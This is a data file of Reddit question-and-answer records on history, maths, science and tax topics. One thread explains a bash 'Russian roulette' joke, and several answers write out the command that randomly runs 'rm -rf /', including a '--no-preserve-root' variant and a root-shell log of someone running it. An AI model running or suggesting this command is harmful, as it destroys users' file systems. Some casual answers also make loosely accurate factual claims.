{"q_id": "5qrqfu", "title": "How did commoners before the advent of photographs recognize \"Famous people\" in the past without seeing them before?", "selftext": "Nowadays we have the internet, photographs, TV, and other media to show us what famous political and otherwise \"famous people\" look like but back in the Middle Ages, Ancient times etc when they did not have that. \n\nWere people able to recognize famous persons in public and private from names and whatnot?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5qrqfu/how_did_commoners_before_the_advent_of/", "answers": {"a_id": ["dd1xd0o", "dd2drdf", "dd2uf0e"], "score": [124, 8, 5], "text": ["Through out the republican and imperial periods of Roman history, important figures like consuls, generals, senators, and later emperors were issued with official types of their portraiture. This consisted of an approved (by some authority, whether the artist or subject or both is contested) bust of their head. So all statues of them would use replicas of their head to have a standard look that people could recognise. The Prima Porta type is the most famous for the emperor Augustus(I was just looking at the eponymous statue of the type yesterday in Oxford's Ashmoleon for a paper I'm writing) and would probably be recognisable to people familiar with Augustus as it has over 140 replicas still in existence. The types could change over time and are not seen as perfect examples of what they looked like although in most cases we'll never know, but we are sure of the level at which this affected the mass conception of how people thought their rulers looked. Similar forms were also used on coinage that was minted by senators and emperors which were far more widespread than any statue and handed over far and wide. \n\nAfter Rome fell the level of recognisability fell greatly as the level of centralisation required for mass produced images simply was was not reached again for centuries in the west. In the east imperial images of emperors and the like was a bit more centralised but I am unaware of the specifics and how widespread images were as I am not an expert in that field unfortunately. \n\nHope I helped, keep learning ", "Correct me if I'm wrong, but wasn't Louis XVI caught during the flight to Varennes when someone actually recognized him when he went to pay for something because his face was on an assignat?", "In the high to late middle ages at least, how important people dressed seems to have been how people could tell who was who. This starts on a bigger scale-- entire people groups could be told apart by how they dressed. Peasants wore, well, what you tend to picture when you think of a medieval peasant, and as you went further up the social ladder, people wore more expensive garments made with pricier exotic dyes like reds and purples, while the clergy had vestiments to show who they were, monks wore their hair tonsured, etc. In fact, in the late middle ages when wages were spiking and more people could afford more luxury goods, middle classmen were dressing like the nobility, and that became such a problem that they outlawed dressing outside your social stratum. These were called sumptuary laws, if you want to do more research there.\n\nWhen it comes to individuals, yes, it's more difficult. Public appearances for lords and kings were important, but in the relatively small communities medieval cities were (compared to today), it wouldn't take much thinking to recognize, say, the local lord or the king. Individual knights were an interesting case. Literature suggests that wealthy/famous knights had very distinct armor to identify themselves by. In Malory's Morte d'artur, Lancelot steals Kay's armor and impersonates him for a while, before people recognize his fighting style and know it couldn't be anyone but Lancelot. A coat of arms was also essential, because heraldry was propaganda. Individuals would have a private coat of arms, so if you saw a certain pattern and had a good eye, you could spot Henry Bolingbroke all the way across a tourney field, for example. Every now and then we see a manuscript illumination with figures clearly depicted with consistency, but this would have been more for the sake of long-term prestige, getting immortalized in text, because the general public didn't have general access to those posh manuscripts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5059wv", "title": "how is xeno's paradox incorrect?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5059wv/eli5_how_is_xenos_paradox_incorrect/", "answers": {"a_id": ["d718e5r", "d718k1k", "d718ohy", "d7197rk", "d719n7d", "d71ainz", "d71asjs", "d71bi2d", "d71d14l", "d71fil7", "d71fpgo", "d71fxe0", "d71g024", "d71gkmd"], "score": [5, 6, 126, 24, 2, 17, 2, 172, 3, 3, 13, 3, 3, 2], "text": ["In a physical sense, it's wrong because distance between objects is not a perfectly smooth continuum. The paradox assumes that distance is not discrete, with distinct steps. In reality, all atoms are exerting force on all other atoms, and when they get close enough together these forces start to be significant and overpower other forces. When they get particularly close, we have the phenomenon of touching. In short, when the fraction of the distance is small enough, it is often more accurate to round it to zero.", "It's obviously incorrect in practical terms because you are able to reach what you are moving towards.\n\nSome of the elements involved can be proving by calculus and things such as taking the limit of the equation. If you move 1 meter / sec and you are moving to an object 1 meter away, even if you move half the distance in half a second then a quarter more in a quarter second and so on and so forth, the limit as you approach an infinite number of steps will always be 1 meter in 1 second.\n\nAs for actually disproving the logic involved (because the 'practical' solution is not disproving the logic), that's still up for debate basically", "What Xeno's paradox fails to acknowledge is that each of these steps is being performed in half the amount of time as the last as well  (That is, if it takes you one second to clear one metre, then the next step of a half a metre will take half a second, and so on). So even though you require an infinite number of these steps to get to 2 metres, the total amount of time the steps take is finite.", "ELI5 Answer 1: Yes, you need an infinite number of steps, but each step takes less and less time.  These two effects cancel each other out, so that you can cross a distance in a normal amount of time.\n\nSlightly less ELI5 caveats: I've been very loose with my language, and I've taken it as tacitly assumed that time and distance can be infinitely divided.  To really get at the heart of the problem in a rigorous way, we would have to talk about limits, about what it means to \"approach\" something, the nature of infinity, and so on.  \n\nAlso not quite ELI5 note: This particular paradox is part of a set of paradoxes from Xeno.  Each particular paradox starts with certain assumptions about the divisibility of time and distance and then shows an example where these assumptions are directly challenged.  Basically, he tried to show that our entire concept of divisibility must be flawed, because no combination leads to sensible answers.  ", "On top of these other answers which work, we also do have a known (at least for now) shortest distance. A plank length. After you divide in half and divide in half a trillion or so times, you get to this distance. Is there anything smaller than it? Well, we don't know. But given a current understanding, once you reached this amount, you can't divide in half, so by moving that last plank distance, you would cross the line. ", "_URL_0_\n\nThis picture shows that the rate that Achilles is moving is the same.\n\nSpeed is distance traveled divided by time traveled.\n\nSince both distance and time traveled are both halved, the rate stays the same. Achilles doesn't slow down, *your measurements just keep speeding up*.", "Xeno's paradox is the same as the infinite series 1/2^n. 1/2 + 1/4 + 1/8 +....+1/2^n. This is basic geometric series with sum equal to 1.\n\nFrom here, you can use distribution to establish that this is also true for any distance in question.", "Most of the answers here, which rely on some formulation of the idea that \"it takes less time\" to cross each interval, don't actually address the heart of the paradox or Aristotle's complete solution, which was authoritative until comparatively recently. Granted, the latter is not really possible to express in ELI5 terms, but that's because the paradox itself isn't either. Anyway, such solutions just reflect the \"intuitive\" fact that the infinite set of points add up to a finite distance. But the logical paradox remains--after all, even if I assume I add a smaller amount of time for each subsequent interval, the resulting sum is still \"infinite.\" \n\nAristotle's full solution is to apply the distinction between potential and actual existence to the concept of the \"infinite.\" To say that Achilles (or who/whatever) _actually_ has to cross an infinite number of intervals assumes that such intervals exist, but in fact, they only exist _potentially_ in the sense that they need to be created by dividing up the given finite space. Since it is impossible to actually accomplish such division, Aristotle concludes that no actual infinity exists, only potential ones. In a more contemporary formulation, the concept of infinity is an idea of pure reason with no correlate in experience.\n\nAs I said, this is the solution that was accepted at least through Kant. From what I understand, Cantor's set theory is said to improve on it, but it's not clear to me how, except in terms of mathematical representation.\n\nEDIT: slight clarification/word fix", "You may find [the previous posts](_URL_0_) helpful.", "Zeno, in this paradox, is basically pointing out a hole in the mathematical theory of the time (400's BCE) that wouldn't be properly filled until ~1700 years later (1200's CE) with the development of calculus by Newton and Leibniz. Among its other features, calculus allows us to take infinity from being a purely abstract concept and instead use it as a solid value in an equation.\n\nDuring that gap, philosophers and mathematicians, like Aristotle who was a bit of both, generally came to the conclusion that this paradox can be resolved by getting two infinities to cancel each other out though they didn't really have a mathematical framework to prove that they neatly cancel out. Calculus removed the need for the philosophical aspect by providing the missing mathematical framework.", "It's just a basic abuse of \"because infinity\". If you assume that there is no smallest divisible unit of anything then anything finite can be subdivided infinitely. If both distance and time are subdivided infinitely then Xeno pretends that that makes it impossible to cover a finite distance in a finite time because there are infinite units that must be crossed. But you could do that with anything. You could take a single dollar, divide it infinitely into smaller theoretical representations of the value of a dollar (and this you could do infinitely because value is conceptual, not physical) and conclude that because you have infinite representations of value you must have infinite wealth.\n\nIn practice it just doesn't work that way. Infinite infinitely small units are not necessarily greater than a single finite number. 0.999 recurring may have infinite 9s but it'll never be bigger than 2.0.", "ELI5: You can add up an infinite number of numbers and get a finite result.\n\nFor example, 1 + 1/2 + 1/4 + 1/8 + 1/16 + ... = 2. This is similar, if you add up the distance traveled, and the time traveled, both keep getting cut in half, but they add up to finite numbers.\n\n", "A lot of people don't get the paradoxes themselves because they're working from a modern frame of reference, where we understand concepts like \"atoms\" and the like.\n\nThe first response to the paradoxes was the Atomists, the best known of which was Democritus. Most of the paradoxes involved a common theme: that the world can be infinitely divided. In the Atomist view, the world is composed of tiny, discrete pieces that can't be further broken down. They called them \"atoms\" from \"a\" \"tomos,\" or \"uncuttable.\" Because these could not be divided, the world was not infinitely divisible into conceptually smaller pieces. Sure, Xeno could talk about how big \"half an atom\" is, but that concept didn't exist in the real world, so the paradoxes had no bearing on reality.\n\nAristotle then addressed them more pointedly, stating that could only be implied to be infinite (\"potentially infinite\") was not therefore \"actually infinite.\"\n\nDifferent ideas evolved over time, but the idea that the world could be neatly divided into finite-sized corpuscles of some sort didn't go away. Modern-era philosophers like Descartes talked about \"plenum theory,\" in which the idea was that objects move through the world by pushing little unbreakable particles out of the way to fill in the space behind them, much like a boat moves through water, leaving a wake that's immediately filled in behind it. \n\nLater, mathematicians were able to address the problem with inventions like set theory--too complex for a non-mathematician like myself to do justice here (my understanding is very simplistic, so I cannot elaborate if asked upon).\n\nIn college, I wrote a paper on the subject using the notion that the paradoxes support the Atomist position via a reductio ad aburdum: that if the universe was infinitely divisible, then we would have races that never end, arrows that hang in the air, objects that are infinitely-sized, etc. The idea is that there would be a \"quantum\" of time and a \"quantum\" of space, by which is meant: a minimum time and a minimum space, and anything said to be smaller wouldn't really be time or space anymore. Anything said to be tinier would be a sentence that is grammatically correct, but makes no sense, much like asking where the corner or a circle is.", "The paradox doesn't account for actual distance or velocity. Constantly halfing an amount will never result in 0, but movement should be broken down, on a basic level, into average velocity and distance. Object A moving at an average of 10 m/s will reach another Object B 10 meters away in one second as long Object A is moving towards Object B while Object B is stationary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.wikipedia.org/wiki/Zeno%27s_paradoxes#/media/File:Race_between_Achilles_and_the_tortoise.gif"], [], [], ["https://www.google.com/search?q=eli5%20xeno%20OR%20zeno%20paradox"], [], [], [], [], []]}
{"q_id": "3pmjr0", "title": "this computer science joke?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pmjr0/eli5_this_computer_science_joke/", "answers": {"a_id": ["cw7iz6b", "cw7j0ih", "cw7j3vk", "cw7vmwx", "cw7wwmb", "cw7x6fs", "cw7y1zv", "cw7zejp", "cw82lww", "cw839hn", "cw83esv", "cw84n40", "cw86dd6", "cw8853x", "cw88dsh", "cw8cjpc", "cw8cxus", "cw8e4re", "cw8fefi", "cw8fwh5"], "score": [123, 410, 3539, 14, 12, 104, 10, 60, 24, 2, 6, 8, 2, 3, 4, 8, 4, 2, 2, 3], "text": ["It's computer russian roulette. It gives you 1/6 chance of wiping out your filesystem. What it does is assign a random likelihood, and then an action to be taken after that likelihood. rm -rf is the action in this case. Other things might be, say, printing '$user IS GAY' on all the printers in the office... or sending something to your boss. Basically, a 1/6 chance of seriously screwing something up.", "It's like Russian Roulette for your hard drive.\n\nIn English it says something like \"Pick a random number. If it's divisible by 6 then delete all files starting at the root folder, otherwise print *Click*\". ", "EDIT 3: [The original was deleted?](_URL_0_) The original joke was:\n\nI like to live on the edge: [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / l l echo Click\n\n....\n\n[Russian Roulette](_URL_1_) with your file system. 1 in 6 chance to delete everything.\n\n > [ $[ $RANDOM % 6] == 0 ]\n\nPick a random number from 0 to 5 (6 numbers total) and return true if it's equal to 0 (== is asking if it equals, just one = would mean setting it equal to)\n\n >   &  & \n\nThis is the boolean AND operator, it will return true if statements on both sides are true, but it also \"short circuits\" if the first value is false, so it won't run the second command given the first is false. Another way to say A  &  &  B in this context is if( A ) then B\n\n >  rm -rf /\n\nrm is remove file or folder. -r means recursive, so not just the specified file/folder but everything in it. -f means force so it keeps going whether it gets errors or not (so -rf means both -r and -f ). The / means root, or the starting point for all your files and folders.\n\n In other words, if we picked 0 then delete the entire file system.\n\n > || echo Click\n\nSimilar to  &  & , || is the boolean OR operator, so either you wiped out your file system OR it will say \"Click\" in console.\n\nEDIT: I should have been a little clearer... this only works on unix like operating systems, like Linux. In other words, this doesn't work in windows. This also won't work in a normal linux distro because they aren't stupid enough to let you run the command like that easily (permissions and security flags, -f isn't enough)\n\nEDIT 2: For everyone posting this is wrong because the chance isn't actually 1/6, [you're right and I did the math too](_URL_2_). However, the difference in probability between the real chance and 1/6 is only 0.000020345... or about 0.0020345%. Given that the difference is very small, for *most* intents and purposes they are close enough, especially for an ELI5 description that's already long.", "It's taking a random number and doing a modulus 6 of it. If the number is wholly divisible by 6, i.e. no remainder, the result of the modulus operation will be zero and it will then run the next command which will wipe out all the files on the hard drive. If the number is not wholly divisible by 6 it will display \"click\" which is like the sound of pressing the trigger on a gun with no bullets in the barrel. It's emulating that popular scene in movies where someone puts one bullet in a gun, spins the barrel and then plays russian roulette with their life.", "Just to note, the way of doing this on a modern Linux system is `[ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf --no-preserve-root / || echo Click`\n\nCan verify it works: _URL_0_", "For those who are curious: **don't run this on your system or you might seriously mess up your machine**", "This is Russian Roulette.  \n\n*$RANDOM*  #The computer picks a random number \n\n*[ $RANDOM % 6] == 0* # if it's evenly divisible by 6, the shot is \"fired\"\n\n*rm -rf /*  # (Delete all the files on your drive) is executed\n\n...If it's not\n\n*l l echo Click*  # then it'll say \"CLICK\"\n\nNOTE: I think they meant to simulate the 6 chambers of a revolver, but that's not the right way to do it.  This will still give you some fired shots though :-)", "All the CS jokes in this thread:\n\n >  I like to live on the edge: \n > \n    [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf /* || echo Click\n >  -\n >     \n >  There are only 10 types of people in the world: those who understand binary, and those who don't.\n >  \n >  -\n >    \n >  There are 10 types of people in the world: those who know binary, those who don't, and those who didn't expect this joke to be in base 3.\n >  \n >  -\n >     \n >  There are 10 kinds of people in the world: those who understand hexadecimal, and F the rest.\n >  \n >  -\n >    \n >  There are 10 types of people in the world: those who know binary, those who don't, those who didn't expect this joke to be in base 3, those who didn't expect this joke to be in base 4, ... , and those who didn't expect this joke to be in base n.\n >  \n >  -\n >     \n >  There are two kinds of people: the ones that can extrapolate information with incomplete data.\n >  \n >  -\n >    \n >  There are 1 kinds of people in the world: those who start their arrays at 0 and those who don't.\n >  \n >  -\n >      \n >  The 2 most common programming issues: cache validation, naming, off by one.\n >  \n >  -\n > \n >  There are a 100 kinds of people in the world: those who understand binary and who can extrapolate from incomplete data.\n > \n > -\n > \n >  There are two types of people in this world, those who understand binary, and those who get laid\n > \n > -\n > \n\n*edit*: Reply here and I'll add it to the list. Let's get all those crappy jokes together!", "A slightly more interactive take on this concept is the game [Lose/Lose](_URL_0_). It's like Space Invaders, but the enemies are system files. How far can you get before your OS is corrupted??", "fuck it.. I tired\n\nroot@testsite:~# [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / || echo Click\n\nClick\n\nroot@testsite:~# [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / || echo Click\n\nClick\n\nroot@testsite:~# [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / || echo Click\n\nClick\n\nroot@testsite:~# [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / || echo Click\n\nClick\n\nroot@testsite:~# [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / || echo Click\n\nClick\n\nroot@testsite:~# [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / || echo Click\n\nClick\n\nroot@testsite:~# [ $[ $RANDOM % 6] == 0 ]  &  &  rm -rf / || echo Click\n\nClick\n", "my favorite computer joke: There are 10 kinds of people in this world\n\n\nthose who understand binary, and those who don't.", "My 1st IT job was at a small web hosting company.  I was beginner linux but knew plenty enough to get myself into hot water.  The main server (back then the whole company was geared around 2 servers) had a console logged in as root, always (yay, security!) and, as a joke, I typed in \"rm -rf / *\" (didn't press enter) and turned around to my senior admin and said \"Hey, you think I should press Enter?\" while looking at the screen with my finger hovering above the Enter button.\n\nHis face went white.  \"Don't press another button,\" he said, \"and yes, I'm *fucking* serious.  Slowly stand up and take 3 steps backward away from the console.\"  \n\nI thought maybe there was a bug or spider on me the way he said it.\n\nHe then moved like a surgeon and slowly-and-deliberately pressed the backspace key and deleted the un-executed command.\n\n\"You're fired. Get out.\" He said. \"Don't say another word, just grab your backpack and go.\"\n\nCanned after 7 days from my 1st job.  \n\nNever joke about \"rm -rf / *\"  That shit's serious.", "Does rm -rf / even break your computer without sudo? Most critical files require root don't they? I guess this would still delete all your personal shit.", "needs to be run as sudo or it won't do shit.\nOr you could just regularly operate your machine as root, and *really* live on the edge.", "Russian roulette with your operating system. There is a 1/6 chance that rm -rf / will run, deleting your entire file system. If it doesn't run, it will output click into the terminal.", "Holy shit. It's been so long since I saw an ELI5 post that actually abides by what the purpose of this sub originally was. This is refreshing\n\nInstead of \"someone answer my question\" you've asked \"someone explain this answer\". Way to go, OP. You maka me proud", "This isn't really computer science, it's bash (The gnu/linux command line scripting language) it has a 1/6 chance to invoke rm -rf, remove rootfilesystem in this context. Would erase your entire hard drive.", "Because I am a chicken, I changed the rm part to   echo chicken\n\nExecuted.... Got \"chicken\" on the first try. ", "The first bit says \"check if random picked from 0-5 = 0\" (aka 1/6 chance).\n\nThe second bit says \"if it is, wipe your computer\".\n\nThe third bit says \"if not, then print the text \"click\"\".", "I created this account just to reply to this thread. I'm really surprised no one has replied that has run rm -rf /. I've seen it done many times (on purpose), and it doesn't work the way you think it does. It WILL make the system unusable. But it doesn't delete everything. Been using Unix-like systems for almost 30 years. In the mid-90s, I used to teach Solaris to military sysadmins. I used to warn them never to run \"rm -rf /\", then near the end of the week, I'd run it and make them re-install the OS and associated software (something they had to do anyway). It's really scary if you run it verbose, because it will show the name of each item before deleting it. rm will progress through the filesystem, deleting items one at a time, until it gets to /usr/bin/. Then it will progress until it deletes itself. At that point, it will be unable to continue. So, the system WILL be unusable, and you will lose your home directories, but, some items will remain in the filesystem. (e.g. if you have a directory called /utest, it should still be there)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/Nudelete/comments/3pqafo/22539091011_eli5_this_computer_science_joke/", "https://en.wikipedia.org/wiki/Russian_roulette", "http://puu.sh/kT6JF/adfc4ab275.png"], [], ["http://imgur.com/ZQcrfiU.png"], [], [], [], ["http://www.stfj.net/art/2009/loselose/"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "dycuyd", "title": "In the film The Irishman (2019), a lot of the individual members of the Northeast Pennsylvania (Italian) Mafia and others wanted JFK to win in '60, thinking he would overthrow Castro and thus 'get them back their casinos'. Did mafias in the US own much property in pre-revolution Cuba?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dycuyd/in_the_film_the_irishman_2019_a_lot_of_the/", "answers": {"a_id": ["f84vjex", "f84xmyr"], "score": [2, 15], "text": ["In short- Yes!\n\n\nCurrently we view Cuba as a \"we don't really go there\" country, but pre-revolution, it was considered to be a common vacation spot.  It's proximity to the US made it an easy destination travel, and was kind of a \"Vegas before there was Vegas\", with the added benefit of beaches, etc.\n\nBefore the revolution, the Cuban government (under Batista) gave foreign nationals very lucrative terms if they would buy and develop properties.  The Mafia saw this as a way to build casinos at a fairly cheap cost, with the additional benefit of a friendly government that would less likely regulate them out of existence.  From a practical perspective, this involved suitcases full of cash being donated to government officials, to get them to sign off on contracts, look the other way, etc. \n\nComing to the revolution, the common man in Cuba began to see the alliance between the government and the Mafia as a basic wholesale looting of the country.  While some people got casino jobs, the truth was most people just saw the money flowing up and out.", "Yes, American mobsters did have substantial investments in Cuba.\n\nFirst a note on terminology. Following [Joseph Albini](_URL_1_), I\u2019ll say that it\u2019s wise to focus on the mob not as an organization, but as a system of relationships. While it was indeed \u201corganized: crime, it wasn\u2019t necessarily as well-defined and rigidly hierarchical as, say the Coca-Cola company or the New York Police Department. It\u2019s more a loosely organized group of operators who have sometimes-complimentary investments in a variety of operations, rather than a cohesive corporation that wholly owns its subsidiaries. Mob bosses and associates invested their own money and looked out for their interests, rather than managing the capital and operations of an independent corporate entity.\n\nSo I wouldn\u2019t say \u201cmafias\u201d had interests in Cuba. Rather, I would say that individuals alleged to be members of the Mafia, or La Cosa Nostra, had substantial interests there. Mobsters\u2019 many connections to Cuba were fictionalized in *The Godfather 2*, with Hyman Roth standing in for real-life mob financier Meyer Lansky. Lansky\u2019s investment in Havana\u2019s Riviera hotel (and casino) were sufficient that his heirs have [pressed the Cuban government for compensation](_URL_0_), due to the nationalization of the Riviera after the communist takeover.\n\nInvesting in Havana was consistent with the investment patterns of American illegal gambling operators going back to the mid-19th century. Traditionally, most operations were owned by syndicates of investors, with the major shareholder usually serving as on-site manager (source is my own [Roll the Bones: The History of Gambling](_URL_2_)). When a single illicit casino might be forced to shut down due to government pressure or an actual raid, it made sense to diversify one\u2019s holdings. So you had John Morrissey owning faro houses in both New York City and Saratoga Springs and, later, Richard Canfield having interests through the New England and New York areas. Lansky raised this to an art form, with interests in various enterprises throughout the United States and Caribbean.\n\nSome evidence of the scope of American gambling interests in Havana is that the city entered the public consciousness as a place for Americans who liked gambling to visit. For example, at the end of *Guys and Dolls* (film 1955, Broadway play 1950, based on Damon Ruynon stories of the 1920s/1930s), Sky Masterson takes Sarah Brown to dinner in Havana, Cuba\u2014implying that degenerate gamblers like Masterson and Nathan Detroit would be familiar enough with that town to know of the restaurants there, and they wouldn\u2019t just be attracted by the climate. Ten years later, the dinner would probably be in Las Vegas."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reuters.com/article/us-cuba-usa-lansky/heirs-of-meyer-lansky-want-compensation-for-cuban-casino-idUSKBN0TS2U920151209", "https://www.worldcat.org/title/american-mafia-genesis-of-a-legend/oclc/830882069&amp;referer=brief_results", "https://rollthebonesbook.com/"]]}
{"q_id": "242dbh", "title": "What would happen to various alcoholic beverages as they aged for hundreds--thousands--tens of thousands of years?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/242dbh/what_would_happen_to_various_alcoholic_beverages/", "answers": {"a_id": ["ch3elh3"], "score": [11], "text": ["Champagne that sat in a shipwreck on the bottom of the Baltic Sea for 200 years was described as [still sweet](_URL_0_).\n\nI could have sworn I read about a lawsuit where someone bought one of these bottles for $157,00, opened it up, and discovered it was basically a bottle of vinegar.\n\nEthanol (the fun kind of alcohol) is fermented to acetic acid (vinegar) when microbes replace the hydroxyl group with a carboxyl. This form of fermentation requires oxygen. A sealed bottle of wine won't ferment, but the moment you take the cork off for the first time you have added oxygen and probably acetic acid bacteria. If you then leave it on a counter and try to drink it two weeks later you're going to have a bad time.\n\nEven in a perfectly sealed, perfectly sterile environment there are [complex reactions](_URL_1_) as the wine ages. It is hard to know what chemical equilibrium would look like after 10,000 years because there is no wine that old, but overaged wine tends to progress towards sour and odd with organic sludge on the bottom."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://mobile.bloomberg.com/news/2010-11-17/world-s-oldest-champagne-survives-icy-shipwreck-surfaces-for-wine-tasting.html", "http://en.wikipedia.org/wiki/Aging_of_wine"]]}
{"q_id": "3mhqis", "title": "how are there no taxes on digitally downloaded content? what makes it different from physical copies that the government chooses not to tax it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mhqis/eli5_how_are_there_no_taxes_on_digitally/", "answers": {"a_id": ["cvf0mpw", "cvf3vmd", "cvf8kiu"], "score": [10, 5, 2], "text": ["The federal government does not levy any sales taxes, only states do. That's easy enough when something is purchased by a consumer at a physical location in the state, but when a consumer purchases content from a provider in another state, it's a little more complicated. The law hasn't quite figured it out yet, so digital content stays exempt from sales tax.", "You live in Texas.  While on a business trip to NYC, you buy a digital download from Amazon, a company based in Washington.\n\nWhat tax rate to do you pay?  Which state (and city, for that matter) gets to collect the taxes?", "There were some weird stuff with EU's VAT rules:  \n_URL_0_\n\nBut as far as I see, nothing really changed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://lennasinception.com/temporarily-halting-purchases/#rant"]]}
{"q_id": "5bs4hf", "title": "hong kong's judicial system", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bs4hf/eli5_hong_kongs_judicial_system/", "answers": {"a_id": ["d9qurz8"], "score": [9], "text": ["Hong Kong's legal system is based on the English one. They kept that legal system after being handed to China.\n\nSo some people who became judges while it was a UK territory (as an aside, it wasn't technically part of the UK itself) are presumably still working as it's the same legal system. There are still people of British origin who live I'm Hong Kong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3u9tpd", "title": "Why were the penal laws in Ireland enacted?", "selftext": "Intrigued as to the reasoning behind deliberate discrimination and oppression by the protestants in Ireland. All perspectives welcome. If anybody has primary sources on the topic that would be very useful too. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3u9tpd/why_were_the_penal_laws_in_ireland_enacted/", "answers": {"a_id": ["cxfpf9r"], "score": [2], "text": ["After the Battle of the Boyne and such a treaty came to the table known as the Treaty of Limerick. This brought about a ruling in which Jacobites in Ireland were offered to leave to go to France or just pledge allegiance to King William, Catholics were treated well and all was fairly good. Unfortunately the English government weren't all too happy with this settlement and introduced the Penal Laws in an attempt to weaken the Catholic and Presbyterian following in Ireland, leaving Catholics and Presbyterians at a disadvantage to their Protestant neighbors. This isn't all the detail as to all the reasoning why it happened but it's all i can remember at the moment "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fdq4vd", "title": "adoption process", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fdq4vd/eli5_adoption_process/", "answers": {"a_id": ["fjja2cs"], "score": [5], "text": ["No. It isn't universal at all. In fact, adoption is very local - there may be some requirements by the government but each agency sets their own procedures. \n\nIt wouldn't be unusual for the adoptive parents to pay for administrative costs related to adoption and possibly some remuneration to the birth parents. But legality and practice varies across countries/societies. I will go out on a limb and claim that, even when not legally prohibited, the practice of \"selling\" babies/children for adoption is somewhat frowned upon. Trafficking children for exploitation is almost certainly illegal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ybb7u", "title": "why are steve jobs, steve wozniak, mark zuckerberg, and bill gates all household names and prominent figures, while larry page and sergey brin are significantly less-so?", "selftext": "Those are the founders of Google, by the way.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ybb7u/eli5_why_are_steve_jobs_steve_wozniak_mark/", "answers": {"a_id": ["cfizche", "cfj097i", "cfj0a87", "cfj0d4i", "cfj2zlm"], "score": [13, 3, 11, 3, 2], "text": ["Honestly, its because they don't advertise it as much.  Jobs and the other names you mentioned actively have publicists who arrange interviews and speaking engagements for them.  The Google guys are too busy buying the most innovative companies in the world instead of speaking at some computer convention. ", "For one, they weren't the CEOs of Google during it's rapid growth.  They are founders, but have been on-again-off-again leaders.  \n\nI suspect the fact that there are two of them has some impact.  \n\nOn that point...I'd say they are on par with Woz in terms of fame - it's not like the general population of non-nerds is really up who Woz is.  And...their roles are fairly similar.", "It's because Steve Jobs, Steve Wozniak, Mark Zukerberg, and Bill Gates chose to also be the face of their product / company while Larry Page and Sergey Brin had Eric Schmidt.", "The Woz probably isn't a household name insofar as he is it's because when people ask about  Jobs they interview the Woz because he's well, alive.  Jobs and Gates put  themselves as  the public faces of their companies and Jobs particularly engineering a corporate transformation.\n\nPage and Brin hired a CEO for them (Eric Schmidt) for a lot of years, so he was the public face of google while they went and did their own things.  As others pointed out, having two of them is also a problem.  ", "Google is teching up and innovating the world....bill gates and Steve jobs created consumer product consumers which also changed the world. You got more a business/school product compared to a consumer fun project. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "11dijw", "title": "When you pull a hair, does the bulb come out with the shaft?  If so, how does it grow back?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11dijw/when_you_pull_a_hair_does_the_bulb_come_out_with/", "answers": {"a_id": ["c6lij67", "c6loku2", "c6lsp13"], "score": [6, 24, 4], "text": ["Typically the hair follicle is not pulled out of the skin when the hair is pulled, although depending on the circumstances it can be damaged. If damaged or removed the hair may not be able to grow back.", "Sometimes when I pull out a hair, it has a thin transparent layer around the bottom bit. What is that?", "Actually, the stem cells that gives rise to the hair-producing keratinocytes and even the sebaceous gland cells arise from another region of the hair follicle called the bulge.\n\nWhen a follicle is plucked out, the surrounding layer of keratinocytes is plucked out with it, giving the thin layer you see. These are what produced that specific follicle. However, the body might sense that the hair is gone, and reserve cells of the bulge embedded in the follicular dermal matrix migrate to the root, differentiate into keratinocytes and melanocytes, and produce a new follicle of hair."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
